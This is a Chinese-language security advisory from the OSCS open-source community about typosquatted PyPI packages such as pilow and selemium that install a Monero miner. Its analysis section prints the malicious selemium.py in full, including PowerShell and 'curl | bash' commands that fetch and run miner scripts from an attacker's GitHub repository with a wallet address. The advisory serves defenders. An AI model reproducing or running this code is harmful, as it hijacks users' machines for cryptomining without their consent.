PyPI 官方仓库遭遇挖矿恶意组件投毒

2022 年 06 月 27 日,OSCS 监测发现PyPI官方仓库被 ivanpoopoo 上传了 arduino、beautfulsoup、randam、pilloe、pilow、selemium 等恶意组件包,使用恶意组件包后会在用户电脑上下载脚本进行挖矿

OSCS
OSCS   Follow

报告来源:OSCS开源社区(oscs1024.com)

报告作者:OSCS

更新日期:2022-06-28

# 一、事件简述:

2022 年 06 月 27 日,OSCS 监测发现PyPI官方仓库被 ivanpoopoo 上传了 arduino、beautfulsoup、randam、pilloe、pilow、selemium 等恶意组件包,使用恶意组件包后会在用户电脑上下载脚本进行挖矿,该事件较为严重,OSCS 官方提醒广大开发者关注。

PIP是 Python 包管理工具,提供了对第三方 Python 包的查找、下载、安装、卸载等功能。

攻击者 ivanpoopoo 通过模仿 pillow, selenium 等知名软件包进行钓鱼,当用户安装并调用攻击者的恶意包(如selemium.py)时,攻击者会在用户机器上去下载并启动一个“挖矿程序”,目前 PYPI 官方已经删除该恶意组件,但国内各大镜像站如豆瓣,清华等并未及时删除恶意组件。

# 二、 投毒分析

攻击者通过模仿 beautifulsoup,pillow,selenium 等知名组件上传名称相似的恶意组件进行钓鱼攻击。OSCS 通过分析攻击者上传的典型恶意组件分析攻击过程。

Pilow的目录结构如下:

img

安装过程不会触发恶意代码,危险代码存在于 pilow/src/selemium/selemium.py 文件中。

当用户调用恶意组件时,恶意组件在初始化时会分别调用 powershell 和 sh 下载 xmrig 挖矿脚本攻击 windows 和 linux,恶意代码如下

#selemium.py

import os
os.system('''"powershell -Command 
            "$wc = New-Object System.Net.WebClient; 
             $tempfile = [System.IO.Path]::GetTempFileName(); 
             $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/ivanc5po/xmrig/main/miner.bat', $tempfile); 
             & 
             $tempfile 89zNH6BtcokCSyyMmeXVK7P71h1K24o2KDTqRxrkz5cF6TyR2vePG8idoEbN1jjHDnZiWeGYuJis6dMy5hhq8ZjJBWWfA2K; 
             Remove-Item -Force $tempfile"
             ''')
os.system('''curl -s -L https://raw.githubusercontent.com/ivanc5po/xmrig/main/ubuntu_install.sh | bash -s 89zNH6BtcokCSyyMmeXVK7P71h1K24o2KDTqRxrkz5cF6TyR2vePG8idoEbN1jjHDnZiWeGYuJis6dMy5hhq8ZjJBWWfA2K''')

def selemium(nice):

    return nice

进行代码溯源发现挖矿调用的是如下地址的代码

https://github.com/MoneroOcean/xmrig_setup

OSCS 开源安全社区建议广大用户做好资产自查以及预防工作,以免遭受黑客攻击。

# 三、处置建议

OSCS 开源安全社区建议使用 Python 的用户排查 Python 环境是否安装恶意钓鱼包,避免遭受损失,详细名单查看链接:

https://www.oscs1024.com/hd/MPS-2022-20217

# 四、时间线

6月14日,攻击者注册 PIP 账号

6月27日,攻击者上传 10 个恶意 Python 包

6月27日,OSCS 监测到本次恶意 Python 包投毒行为